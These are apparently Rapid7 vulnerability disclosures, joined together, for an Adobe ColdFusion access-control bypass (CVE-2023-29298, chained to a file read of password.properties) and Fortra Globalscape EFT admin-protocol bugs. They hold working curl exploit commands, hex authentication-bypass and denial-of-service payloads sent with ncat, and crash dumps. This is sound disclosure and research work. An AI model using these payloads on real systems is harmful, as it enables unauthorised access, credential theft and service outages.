This issue affects the following versions of Adobe ColdFusion:

  • Adobe ColdFusion 2023.
  • Adobe ColdFusion 2021 Update 6 and below.
  • Adobe ColdFusion 2018 Update 16 and below.

Impact

This vulnerability undermines the security guarantees offered by the ColdFusion Secure Profile. Using the access control bypass as described above, an attacker is able to access every CFM and CFC endpoint within the ColdFusion Administrator path /CFIDE/, of which there are 437 CFM files and 96 CFC files in a ColdFusion 2021 Update 6 install. Note that access to these resources does not imply the attacker is authorized to use these resources, many of which will check for an authorized session before performing their operation. However the impact of being able to access these resources is as follows:

  • The attacker may log in to the ColdFusion Administrator if they have known credentials.
  • The attacker may bruteforce credentials.
  • The attacker may leak sensitive information.

The attacker has increased the attack surface considerably and should a vulnerability be present in one of the many exposed CFM and CFC files, the attacker is able to target the vulnerable endpoint.

Credit

This vulnerability was discovered by Stephen Fewer, Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

CVE-2023-29298 has been addressed in Adobe's APSB23-40 Security Bulletin - CF2018 Update 17, CF2021 Update 7, and CF2023 GA build. Adobe greatly appreciates collaboration with the broader security community and our ongoing work with Rapid7. For more information, please see: https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html

Analysis

The access control restricts access for external request to resources that are found within the following URL paths:

/restplay
/CFIDE/restplay
/CFIDE/administrator
/CFIDE/adminapi
/CFIDE/main
/CFIDE/componentutils
/CFIDE/wizards
/CFIDE/servermanager

Several Java servlets enforce the access control on their exposed resources:

  • The coldfusion.CfmServlet which handles all requests to ColdFusion Module (CFM) endpoints.
  • The coldfusion.xml.rpc.CFCServlet which handles requests to ColdFusion Markup Language (CFML) and ColdFusion Component (CFC) endpoints.
  • The coldfusion.rds.RdsGlobals which handles requests for the Remote Development Service (RDS) feature.

The access control feature is implemented in the coldfusion.filter.IPFilterUtils class, and the method checkAdminAccess implements the logic for the access control, as shown below:

public class IPFilterUtils {
private static final String[] PATHS = new String[] { "/restplay", "/cfide/restplay", "/cfide/administrator", "/cfide/adminapi", "/cfide/main", "/cfide/componentutils", "/cfide/wizards", "/cfide/servermanager" };
public static void checkAdminAccess(HttpServletRequest req) {
String uri = req.getRequestURI();
String uriToMatch = uri.substring(req.getContextPath().length()).toLowerCase();
for (String path : PATHS) {
if (uriToMatch.startsWith(path)) {
String ip = req.getRemoteAddr();
if (!isAllowedIP(ip))
throw new AdminAccessdeniedException(ServiceFactory.getSecurityService().getAllowedAdminIPList(), ip);
break;
}
}
}

We can observe from the highlighted statement above that an HTTP request’s URL path is compared to a list of sensitive paths, and if found to begin with any of these sensitive paths, a further check is performed to see if the request’s external IP address is present in the allow list. If the request to a sensitive path is not from an allowed external IP address, an exception is raised which results in the request being denied.

As the attacker-controlled URL path is tested with a call to java.lang.String.startsWith, this access check can be bypassed by inserting an additional character at the start of the URL path, which will cause the startsWith check to fail but will still allow the underlying servlet to be able to resolve the requested resource. The character in question is an additional forward slash. For example, when requesting a resource that starts with the sensitive /CFIDE/adminapi path, the attacker can request this resource from the path //CFIDE/adminapi, which will bypass the access control while still being a valid path to the requested resource.

Exploitation

The following was tested on Adobe ColdFusion 2021 Update 6 (2021.0.06.330132) running on Windows Server 2022 and configured with the Production and Secure profiles enabled and access to the ColdFusion Administrator limited to the localhost address 127.0.0.1.

We can demonstrate the vulnerability using the cURL command. For example when attempting to perform a remote method call wizardHash on the /CFIDE/wizards/common/utils.cfc endpoint, the following cURL command can be used:

Note: The ampersand (&) has been escaped with a caret (^) as this example is run from Windows. On Linux you must escape the ampersand with a forward slash ().

\> curl -v -k http://172.23.10.174:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

We can see in the screenshot below how this request fails due to the access control being in place:

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

However, if we issue the following cURL command, noting the double forward slash in the path:

c:\> curl -v -k http://172.23.10.174:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo
CVE-2023-29298: Adobe ColdFusion Access Control Bypass

We can see that the access control has been bypassed and the request completed successfully.

Similarly, if we try to access the ColdFusion Administrator interface in a web browser from an external IP that is not allowed access, the following error is displayed.

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

However, if we use an extra forward slash in the URL, we can now access the ColdFusion Administrator interface.

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Chaining CVE-2023-29298 to CVE-2023-26360

The access control bypass in CVE-2023-29298 can also be leveraged to assist in the exploitation of an existing ColdFusion vulnerability. One example of this is CVE-2023-26360, which allows for both arbitrary file reading as well as remote code execution. In order to exploit CVE-2023-26360 to read an arbitrary file, an attacker must request a valid CFC endpoint on the target. As we have seen, there are multiple such endpoints available in the ColdFusion Administrator. Exploiting CVE-2023-26360 to read a file password.properties can be achieved with the following cURL command:

c:> curl -v -k http://172.26.181.162:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"

However, if the access control is configured to block external requests to the ColdFusion Administrator, the request will fail.

CVE-2023-29298: Adobe ColdFusion Access Control Bypass

Therefore we can chain CVE-2023-29298 to CVE-2023-26360 and bypass the access control in order to reach a CFC endpoint and trigger the vulnerability via the following:

c:> curl -v -k http://172.26.181.162:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"
CVE-2023-29298: Adobe ColdFusion Access Control Bypass

As we can see, we have now successfully exploited CVE-2023-26360 as a result of our ability to use CVE-2023-29298 as a primitive — and we can therefore read the contents of the password.properties file.

Remediation

Adobe released a fix for this vulnerability on July 11, 2023. According to Adobe, the following versions remediate the issue:

  • ColdFusion 2023 GA build
  • ColdFusion 2021 Update 7
  • ColdFusion 2018 Update 17

For more details please read the Adobe security advisory.

Note: Rapid7 reported an incomplete fix for this issue to Adobe on June 30, 2023 after testing the vendor-provided patch. We have not independently tested the latest fix.

Timeline

  • April 11, 2023: Rapid7 makes initial contact with Adobe Product Security Incident Response Team (PSIRT).
  • April 12, 2023: Rapid7 discloses the vulnerability details to Adobe PSIRT. Adobe confirms receipt and assigns internal tracking number VULN-24594.
  • April 20, 2023: Adobe requests additional details regarding the network setup used during testing. Rapid7 provides the requested details and Adobe confirms receipt of the details.
  • April 25, 2023: Rapid7 requests a status update. Adobe confirms they have reproduced the issue. Rapid7 requests a CVE identifier from Adobe.
  • May 2 - May 24, 2023: Rapid7 and Adobe discuss a coordinated disclosure date and agree to publish advisories on July 11, 2023. Adobe assigns CVE-2023-29298.
  • June 13 - June 30, 2023: Further coordination with Adobe; Adobe provides Rapid7 with the patch for the issue.
  • June 30, 2023: Rapid7 informs Adobe that the patch they’ve implemented is incomplete and can be bypassed.
  • July 6 - 7, 2023: Adobe tells Rapid7 they have implemented an improved fix and are confident that it mitigates the issue. Rapid7 is not able to allocate researchers to test the new fix in time for disclosure. Rapid7 and Adobe agree to move forward with disclosure on July 11 given Adobe’s confidence in their fix.
  • July 11, 2023: This disclosure.
Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

Earlier this year, Rapid7 researchers undertook a project to analyze managed file transfer applications, due to the number of recent vulnerabilities discovered in those types of applications. We chose Fortra Globalscape EFT as a target since it's reasonably popular and seemed complex enough to have some bugs (plus, it's owned by the same company as GoAnywhere, which was exploited by the Cl0p ransomware gang earlier this year). Today, we are disclosing four issues that we uncovered in the Globalscape administration server, the worst of which can lead to remote code execution as the SYSTEM user if successfully exploited (which is difficult, as we'll see below).

The issues we reported affect Fortra Globalscape 8.0.x up to 8.1.0.14, and all but one are fixed in 8.1.0.16 (the outstanding issue is currently unfixed, but minor):

  • CVE-2023-2989 - Authentication bypass via out-of-bounds memory read (vendor advisory)
  • CVE-2023-2990 - Denial of service due to recursive DeflateStream (vendor advisory)
  • CVE-2023-2991 - Remote hard drive serial number disclosure (vendor advisory) (not currently fixed)
  • Additional issue - Password leak due to insecure default configuration (vendor advisory)

We performed these tests on Globalscape version 8.1.0.11 on Windows Server 2022, but the impact should be the same on any Windows version.

Credit

This issue was discovered by Ron Bowes of Rapid7. We are disclosing it in accordance with Rapid7’s vulnerability disclosure policy.

Impact

The theoretical impact of the worst vulnerability—CVE-2023-2989—is remote code execution as the SYSTEM user. However, exploitation relies on a tricky confluence of circumstances and an unlikely guess, which means that the odds of exploitation in the wild are low (unless somebody finds a way to develop a more reliable exploit).

Technical Details

Our research project focused on the Globalscape administration server, which runs on TCP port 1100 by default. Port 1100 is the interface used by privileged users when they connect to the service using the remote administration client, as well as the interface used by administrators to make site-wide changes (which means it shouldn't be connected to the public internet). A valid administration session can execute Windows commands on the server in the context of the service user, which is SYSTEM by default. This means that bypassing the authentication on the server leads directly to remote code execution.

We will begin by detailing the network protocol. Then, with knowledge of how the protocol works, we'll look at each issue.

A partial implementation of the protocol, as well as proofs of concept for each of these issues, are available in a Github project called Gestalt. We'll link to the individual proof of concept in each session.

Globalscape Admin Protocol

To make any sense of the remainder of this disclosure, we need to learn a bit about the Globalscape admin protocol that Globalscape EFT uses. Since we don't have source code, we've reverse engineered how the protocol works and identified names and fields as best as we could. The original protocol implementation is in the service executable, cftpstes.exe, and ours is in libgestalt.rb.

Globalscape EFT's administrator service is a binary-based protocol that runs on TCP port 1100 by default. Each message has a short (8-byte) header followed by zero or more parameters in an optional body.

The header is always comprised of exactly two 32-bit little-endian fields:

  • (32-bit) Packet length - used as part of the TCP protocol to read a full message off the wire, and also tells the parser when to stop reading packet data
  • (32-bit) Message ID - used to multiplex different message types (without authenticating, permitted messages are 0x01 (login), and 0x138-0x13a (licensing stuff))

If the message length is longer than 8 bytes, the message also has a body, which is composed of one or more parameters. Parameters in the body are formatted as a pretty typical type-length-value (TLV) structure, with human-readable field names to distinguish which field is which. The structure of the body is:

  • (32-bit) User-readable field name (such as PSWD for password and ADLN for username)
  • (32-bit) Type (the type is almost always 5, which is length-prefixed free-form data, but other types exist as well)
  • (Variable) Value; if the packet type is 5, it's a length-prefixed free-form data structure:
    • (32-bit) Parameter length
    • (Variable) Value — the value is structured differently depending on the field name

The other noteworthy type is 1, in which case the parameter value is a 32-bit integer.

For example, here's a login message:

          |       header        |  body.......     
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00   ^....... PSWD....
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12   $... ... .@q.....
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57   ...@d... ..x...JW
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00   ....I$.. ADLN....
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d   ........ r.o.n.AM
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00         ID...... ......

We can break down that message into the header and body, then named parameters within the body:

  • Header (8 bytes):
    • Length: 0x0000005e (94 bytes)
    • Message id: 0x00000001 (login)
  • Body (86 bytes):
    • Field 1:PSWD (encrypted password)
      • 0x00000005 - type
      • 0x00000024 - length (0x24 bytes)
      • \x20\x00\x00\x00\x86\x40... - value (encrypted password w/ length prefix)
    • Field 2: ADLN (username)
      • 0x00000005 - type
      • 0x0000000a - length (0x0a bytes)
      • \xfc\xff\xff\xff\x72\x00\x6f\x00\x6e\x00 - value ("ron" w/ inverted length prefix (which appears to indicate UTF-16 encoding))
    • Field 3: AMID - login type
      • 0x00000005 - type
      • 0x00000004 - length (4 bytes)
      • 0x00000000 - value (0 = EFT authentication)

All messages follow this structure, although each message ID has a different set of required parameters. The named parameters don't need to be in any particular order.

Compression

A special message ID, 0xff7f, indicates that the body of the message is a full message (header and all), compressed as a Zlib deflate stream. A compressed version of the same login message from above might look like this:

00000000  5f 00 00 00 7f ff 00 00  78 9c 8b 63 60 60 60 04   _....... x..c```.
00000010  e2 80 e0 70 17 56 20 ad  02 c4 0a 40 dc e6 50 78   ...p.V . ...@..Px
00000020  ef d2 ab 79 42 57 d7 49  38 a4 1c 61 79 7b 90 a3   ...yBW.I 8..ay{..
00000030  62 f3 bc 63 5e e1 c7 64  b7 f5 7a aa 70 77 3b ba   b..c^..d ..z.pw;.
00000040  f8 f8 81 d4 73 01 f1 9f  ff ff ff 17 31 e4 33 e4   ....s... ....1.3.
00000050  31 38 fa 7a 82 4d 61 61  80 00 00 bd 2a 19 18      18.z.Maa ....*..

This compressed message has a length of 0x0000005f, message ID of 0x0000ff7f, and a body of \x78\x9c\x8b..... The \x78 at the start indicates that it's likely a deflate stream (and it is). If we use the openssl command-line utility to un-deflate the data, we get back the original message:

$ echo -ne "\x78\x9c\x8b\x63\x60\x60\x60\x04\xe2\x80\xe0\x70\x17\x56\x20\xad\x02\xc4\x0a\x40\xdc\xe6\x50\x78\xef\xd2\xab\x79\x42\x57\xd7\x49\x38\xa4\x1c\x61\x79\x7b\x90\xa3\x62\xf3\xbc\x63\x5e\xe1\xc7\x64\xb7\xf5\x7a\xaa\x70\x77\x3b\xba\xf8\xf8\x81\xd4\x73\x01\xf1\x9f\xff\xff\xff\x17\x31\xe4\x33\xe4\x31\x38\xfa\x7a\x82\x4d\x61\x61\x80\x00\x00\xbd\x2a\x19\x18" | openssl zlib -d | hexdump -C
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12  |$... ....@q.....|
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57  |...@d.....x...JW|
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00  |....I$..ADLN....|
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d  |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

The remainder of this section will demonstrate issues we discovered in this admin protocol.

CVE-2023-2989—Authentication Bypass via Out-of-Bounds Read

We discovered a (blind) out-of-bounds memory read in the Globalscape EFT admin server that allows a specially crafted message to parse data anywhere in memory as if it's part of the message itself. Although it's tricky to exploit, an attacker can potentially leverage this issue to authenticate as another user that recently logged in by jumping into their login message and letting the parser believe it's the attacker's login message. We found this by developing a fairly naive fuzzer, which mostly just flips random bits in packets, that you can find here, then determining why the process crashed a bunch of different (but similar) ways. The vendor has published an advisory for this issue here.

Successful exploitation requires a confluence of factors; namely, the attacker must log in shortly after an administrator, while the administrator's login message is still on the heap, then successfully guess the offset between their malicious message and the administrator's login message. We did some experimentation and narrowed down the heap layout well enough to succeed after just a handful of attempts under ideal conditions. You can see how that works in our proof of concept, which logs in as the administrator then immediately sends an exploit attempt. This usually works after a small number of attempts in our lab environment (5-10 tries on average).

In the protocol documentation above, we noted that the 32-bit length field at the start of the message is used as part of the TCP protocol to receive exactly one TCP message. That means that if the length field is too large or too small, the TCP recv() operation will receive the requested number of bytes (if it can) and, if the message is incomplete or too long, it will simply not be processed. That typically prevents the packet parser from parsing a message with an invalid length.

However, we found a second way to create a message that gets parsed by the same protocol parser but does not go through TCP: compressed messages! When a message is compressed, the TCP stack is no longer involved, and the prefixed length is not validated in any way. The message parser will attempt to parse the message until it reaches the end, as indicated by the message length field, no matter how much data there actually is; that could be well past the end of available memory.

We can demonstrate this by creating a message with a very very long length (0x7fffffff), with a parameter that claims to be 0x41414141 bytes long (lots of other variations also work fine):

00000000  ff ff ff 7f 01 00 00 00  50 53 57 44 05 00 00 00   ........ PSWD....
00000010  41 41 41 41                                        AAAA

If we send that directly, it will be rejected after the server fails to receive 0x7fffffff bytes. However, if we compress the message, we end up with this 0x21-byte compressed version:

00000000  21 00 00 00 7f ff 00 00  78 9c fb ff ff 7f 3d 23   !....... x.....=#
00000010  03 03 43 40 70 b8 0b 2b  90 76 04 02 00 51 27 05   ..C@p..+ .v...Q'.
00000020  c5                                                 .

Which we can send with ncat or similar tools:

$ echo '\x21\x00\x00\x00\x7f\xff\x00\x00\x78\x9c\xfb\xff\xff\x7f\x3d\x23\x03\x03\x43\x40\x70\xb8\x0b\x2b\x90\x76\x04\x02\x00\x51\x27\x05\xc5' | ncat 172.16.166.170 1100

The TCP stack easily receives the 0x21 (33) bytes into a buffer. Then it inflates that message into 0x14 bytes of uncompressed data, including the enormous (and unvalidated) length field, which it assumes is correct. Unsurprisingly, that doesn't go well! Since this is a heap overflow on a randomized heap, this proof of concept isn't completely deterministic, but after a few tries the server should crash with an out-of-bounds read of some sort. This particular crash can happen in a variety of places depending on when exactly it reaches the end of available memory (plus, it depends what other values exist in the memory it's trying to parse), which made it tricky to triage fuzzer crashes, but here's one such crash:

(1bbc.87c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Globalscape\EFT Server\cftpstes.exe
VCRUNTIME140!memcpy+0x627:
00007ff8`0ddc1917 0f10441110      movups  xmm0,xmmword ptr [rcx+rdx+10h] ds:0000024b`a61d0ff4=????????????????????????????????

From the registers, we can see that rdx, which is used in the memory read, is set to a negative value:

0:089> r
rax=0000024be75e5191 rbx=0000024ba61d1060 rcx=0000024ba74a9d10
rdx=fffffffffed272d4 rsi=0000000041414141 rdi=0000004d8611f418
rip=00007ff80ddc1917 rsp=0000004d8611f368 rbp=0000024ba4ef8334
 r8=0000000041414130  r9=0000000000025b19 r10=0000024ba4ef8334
r11=0000024ba61d1060 r12=0000024ba4ef8320 r13=0000004d8611f748
r14=0000000000000000 r15=0000000044575350
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
VCRUNTIME140!memcpy+0x627:
00007ff8`0ddc1917 0f10441110      movups  xmm0,xmmword ptr [rcx+rdx+10h] ds:0000024b`a61d0ff4=????????????????????????????????

Here's the call stack leading up to the memcpy() where it crashes:

0:089> k
 # Child-SP          RetAddr               Call Site
00 0000004d`8611f368 00007ff6`d3e1405b     VCRUNTIME140!memcpy+0x627 [D:\a\_work\1\s\src\vctools\crt\vcruntime\src\string\amd64\memcpy.asm @ 735] 
01 0000004d`8611f370 00007ff6`d4011c2b     cftpstes!OPENSSL_Applink+0xde5cb
02 0000004d`8611f3b0 00007ff6`d4011640     cftpstes!OPENSSL_Applink+0x2dc19b
03 0000004d`8611f570 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbbb0
04 0000004d`8611f640 00007ff6`d40ea977     cftpstes!OPENSSL_Applink+0x2dbc0f
05 0000004d`8611f710 00007ff6`d404430d     cftpstes!OPENSSL_Applink+0x3b4ee7
06 0000004d`8611fa20 00007ff6`d3f84989     cftpstes!OPENSSL_Applink+0x30e87d
07 0000004d`8611fb10 00007ff6`d3dbf8f2     cftpstes!OPENSSL_Applink+0x24eef9
08 0000004d`8611fbe0 00007ff6`d3e2d87b     cftpstes!OPENSSL_Applink+0x89e62
09 0000004d`8611fd10 00007ff8`1ac06b4c     cftpstes!OPENSSL_Applink+0xf7deb
0a 0000004d`8611fd50 00007ff8`1bdb4dd0     ucrtbase!thread_start<unsigned int (__cdecl*)(void *),1>+0x4c
0b 0000004d`8611fd80 00007ff8`1d69e3db     KERNEL32!BaseThreadInitThunk+0x10
0c 0000004d`8611fdb0 00000000`00000000     ntdll!RtlUserThreadStart+0x2b

Initially, we categorized this as a denial of service and moved on. Later, we realized that it could actually be leveraged for more. If we could construct a login message that, when parsed, jumps perfectly into another login message, that's an opportunity to use a different user's credentials without ever knowing them.

To develop an exploit that does exactly that, we connected to the service several thousand times, and used a debugger to determine where memory is allocated each time. Because of ASLR (randomized memory addresses), the heap memory allocations move around slightly, but we did narrow down the range quite a bit. Specifically, in our experimentation, our login messages were allocated at memory addresses that are some multiple of 0x70 bytes apart, and usually quite close together. Experimentally, the most common distance between two consecutive messages on Windows Server 2022 was 0x380 bytes, but several other offsets are also common. We developed this message as a demonstration, which assumes the next message starts 0x4d0 bytes after our message, which was the first working offset we discovered:

00000000  2e 05 00 00 01 00 00 00  61 61 61 61 05 00 00 00   ........ aaaa....
00000010  c4 04 00 00 00 00 00 00  61 61 61 61 61 61 61 61   ........ aaaaaaaa
00000020  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000030  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000040  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000050  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000060  61 61 61 61 61 61 61 61                            aaaaaaaa 

Which compresses into the following:

00000000  25 00 00 00 7f ff 00 00  78 9c d3 63 65 60 60 64   %....... x..ce``d
00000010  60 60 48 04 02 20 93 e1  08 0b 03 18 24 52 19 00   ``H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

The message claims to be 0x52e bytes long, which means that, as far as the parser is concerned, our message will end at the end of the next login message in memory!

This malicious login message contains one parameter that claims to be 0x4c4 bytes long with an unused name (aaaa). When that parameter is parsed, the parser will read (and discard) the entire 0x4c4-byte field, because a field called aaaa isn't something it cares about. But, because the length of the field is 0x4c4 bytes, which doesn't exceed the packet length of 0x52e bytes, the parser will check for the next field 0x4d0 bytes later, which is where the body of the next message starts. So, the parser will happily continue parsing the body of the second message as if it's still part of the same message until it does reach the maximum length of 0x52e, which should be exactly where that message ends. That means that the various authentication fields (username/password) will come from that message!

Here's what the messages look like when this attack succeeds:

In (version details):

    00000000  2c 00 00 00 2b 00 00 00  56 52 53 4e 01 00 00 00   ,...+... VRSN....
    00000010  a0 01 00 80 50 54 59 50  01 00 00 00 00 00 00 00   ....PTYP ........
    00000020  4c 53 59 53 01 00 00 00  01 00 00 00               LSYS.... ....

Out (malicious compressed packet):

00000000  25 00 00 00 7f ff 00 00  78 9c d3 63 65 60 60 64   %....... x..ce``d
00000010  60 60 48 04 02 20 93 e1  08 0b 03 18 24 52 19 00   ``H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

In (login succeeded):

    0000002C  96 18 00 00 01 00 00 00  41 44 4d 4e 05 00 00 00   ........ ADMN....
    0000003C  66 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 00 00   f....... r.o.n...
    0000004C  00 00 f4 98 aa 1a d0 15  54 fe af 1b 98 81 12 a9   ........ T.......
    0000005C  4f 45 00 00 00 00 01 00  00 00 00 00 00 00 00 00   OE...... ........
    [...]

This succeeds at a rate of approximately 1 in 10, even under ideal conditions; however, a clever attacker may be able to improve that by massaging the heap a bit. Therefore, we believe that this is a high-risk vulnerability, and should be treated as such.

CVE-2023-2990—Denial of Service Due to Recursive Compression

The Globalscape EFT server can be crashed by sending a recursively compressed packet (a compression "quine" to the administration port. We published a proof of concept here. The vendor has published advisory here.

We found the following function in the Globalscape EFT server, which we called decompress_and_parse_packet, that checks for the special compression message ID mentioned above (0xff7f):

.text:00007FF6D4011610                         decompress_and_parse_packet(void *parsed, void *packet, int length) proc near   ; CODE XREF: sub_7FF6D3E0D9F0+BAC↑p
.text:00007FF6D4011610                                                                 ; decompress_and_parse_packet+8A↓p ...
.text:00007FF6D4011610
; [......]
.text:00007FF6D4011632
.text:00007FF6D4011632                         check_for_compression:                  ; CODE XREF: decompress_and_parse_packet+19↑j
.text:00007FF6D4011632 81 7A 04 7F FF 00 00                    cmp     dword ptr [rdx+4], 0FF7Fh ; <-- Compare the msgid to 0xff7f
.text:00007FF6D4011639 74 07                                   jz      short packet_is_compressed ; <-- Handle compressed messages
.text:00007FF6D401163B E8 90 00 00 00                          call    parse_packet
.text:00007FF6D4011640 EB 6B                                   jmp     short return
.text:00007FF6D4011642                         ; ---------------------------------------------------------------------------
; [...]
.text:00007FF6D4011642                         packet_is_compressed:                   ; CODE XREF: decompress_and_parse_packet+29↑j
.text:00007FF6D4011642 8B 1A                                   mov     ebx, [rdx]
; [... decompression stuff ...]
.text:00007FF6D401168F 4C 8B C0                                mov     r8, rax
.text:00007FF6D4011692 48 8B 54 24 28                          mov     rdx, [rsp+0C8h+var_A0]
.text:00007FF6D4011697 48 8B CE                                mov     rcx, rsi
.text:00007FF6D401169A E8 71 FF FF FF                          call    decompress_and_parse_packet ; <-- Recurse after decompressing
.text:00007FF6D401169F 8B D8                                   mov     ebx, eax

Because the function recurses after decompressing, a message that decompresses to itself with an appropriate header will recurse infinitely and quickly crash the Globalscape EFT server.

To develop an exploit, we found this post about how to generate a compression quine with an arbitrary header, which includes ancient Go source code to generate an arbitrary quine in several different formats (.zip, .tar.gz, and .gz). We updated the Go code to compile on modern versions of Go, and to output a raw deflate stream. Using our version of that tool, we developed the following "quine" packet, which is also available in our proof of concept repository:

00000000  e2 00 00 00 7f ff 00 00  78 9c 7a c4 c0 c0 50 ff  |........x.z...P.|
00000010  9f 81 a1 62 0e 00 10 00  ef ff 7a c4 c0 c0 50 ff  |...b......z...P.|
00000020  9f 81 a1 62 0e 00 10 00  ef ff 82 f1 61 7c 00 00  |...b........a|..|
00000030  05 00 fa ff 82 f1 61 7c  00 00 05 00 fa ff 00 05  |......a|........|
00000040  00 fa ff 00 14 00 eb ff  82 f1 61 7c 00 00 05 00  |..........a|....|
00000050  fa ff 00 05 00 fa ff 00  14 00 eb ff 42 88 21 c4  |............B.!.|
00000060  00 00 14 00 eb ff 42 88  21 c4 00 00 14 00 eb ff  |......B.!.......|
00000070  42 88 21 c4 00 00 14 00  eb ff 42 88 21 c4 00 00  |B.!.......B.!...|
00000080  14 00 eb ff 42 88 21 c4  00 00 00 00 ff ff 00 00  |....B.!.........|
00000090  00 ff ff 00 17 00 e8 ff  42 88 21 c4 00 00 00 00  |........B.!.....|
000000a0  ff ff 00 00 00 ff ff 00  17 00 e8 ff 42 12 46 16  |............B.F.|
000000b0  06 00 00 00 ff ff 01 08  00 f7 ff aa bb cc dd 00  |................|
000000c0  00 00 00 42 12 46 16 06  00 00 00 ff ff 01 08 00  |...B.F..........|
000000d0  f7 ff aa bb cc dd 00 00  00 00 aa bb cc dd 00 00  |................|
000000e0  00 00                                             |..|

We can demonstrate that the body decompresses to itself by using the openssl zlib inflation command on the 213-byte message body:

$ dd if=recursive.zlib bs=1 skip=8 count=213 2>/dev/null | openssl zlib -d | hexdump -C
00000000  e2 00 00 00 7f ff 00 00  78 9c 7a c4 c0 c0 50 ff  |........x.z...P.|
00000010  9f 81 a1 62 0e 00 10 00  ef ff 7a c4 c0 c0 50 ff  |...b......z...P.|
00000020  9f 81 a1 62 0e 00 10 00  ef ff 82 f1 61 7c 00 00  |...b........a|..|
00000030  05 00 fa ff 82 f1 61 7c  00 00 05 00 fa ff 00 05  |......a|........|
00000040  00 fa ff 00 14 00 eb ff  82 f1 61 7c 00 00 05 00  |..........a|....|
00000050  fa ff 00 05 00 fa ff 00  14 00 eb ff 42 88 21 c4  |............B.!.|
00000060  00 00 14 00 eb ff 42 88  21 c4 00 00 14 00 eb ff  |......B.!.......|
00000070  42 88 21 c4 00 00 14 00  eb ff 42 88 21 c4 00 00  |B.!.......B.!...|
00000080  14 00 eb ff 42 88 21 c4  00 00 00 00 ff ff 00 00  |....B.!.........|
00000090  00 ff ff 00 17 00 e8 ff  42 88 21 c4 00 00 00 00  |........B.!.....|
000000a0  ff ff 00 00 00 ff ff 00  17 00 e8 ff 42 12 46 16  |............B.F.|
000000b0  06 00 00 00 ff ff 01 08  00 f7 ff aa bb cc dd 00  |................|
000000c0  00 00 00 42 12 46 16 06  00 00 00 ff ff 01 08 00  |...B.F..........|
000000d0  f7 ff aa bb cc dd 00 00  00 00 aa bb cc dd 00 00  |................|
000000e0  00 00                                             |..|

We can send that message to the Globalscape EFT admin port using Netcat:

$ nc -v 172.16.166.170 1100 < recursive.zlib
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 172.16.166.170:1100.

And observe the server crash due to stack exhaustion (in a debugger):

0:073> g
(12dc.1a68): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!RtlpHpAllocVirtBlockCommitFirst+0x31:
00007ff8`1d67f0dd e822220000      call    ntdll!RtlpGetHeapProtection (00007ff8`1d681304)

We can look at the call stack to verify that it does indeed crash by recursing infinitely and exhausting all stack memory:

0:096> k
 # Child-SP          RetAddr               Call Site
00 000000a7`cb583ff0 00007ff8`1d63f5a6     ntdll!RtlpHpAllocVirtBlockCommitFirst+0x31
01 000000a7`cb584060 00007ff8`1d63c4f9     ntdll!RtlpAllocateHeap+0x1246
02 000000a7`cb584230 00007ff8`1abeffa6     ntdll!RtlpAllocateHeapInternal+0x6c9
*** WARNING: Unable to verify checksum for C:\Program Files\Globalscape\EFT Server\cftpstes.exe
03 000000a7`cb584340 00007ff6`d486b217     ucrtbase!_malloc_base+0x36
04 000000a7`cb584370 00007ff6`d3de5803     cftpstes!OPENSSL_Applink+0xb35787
05 000000a7`cb5843a0 00007ff6`d43e17b4     cftpstes!OPENSSL_Applink+0xafd73
06 000000a7`cb5843d0 00007ff6`d4011660     cftpstes!OPENSSL_Applink+0x6abd24
07 000000a7`cb584400 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbbd0
08 000000a7`cb5844d0 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
09 000000a7`cb5845a0 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
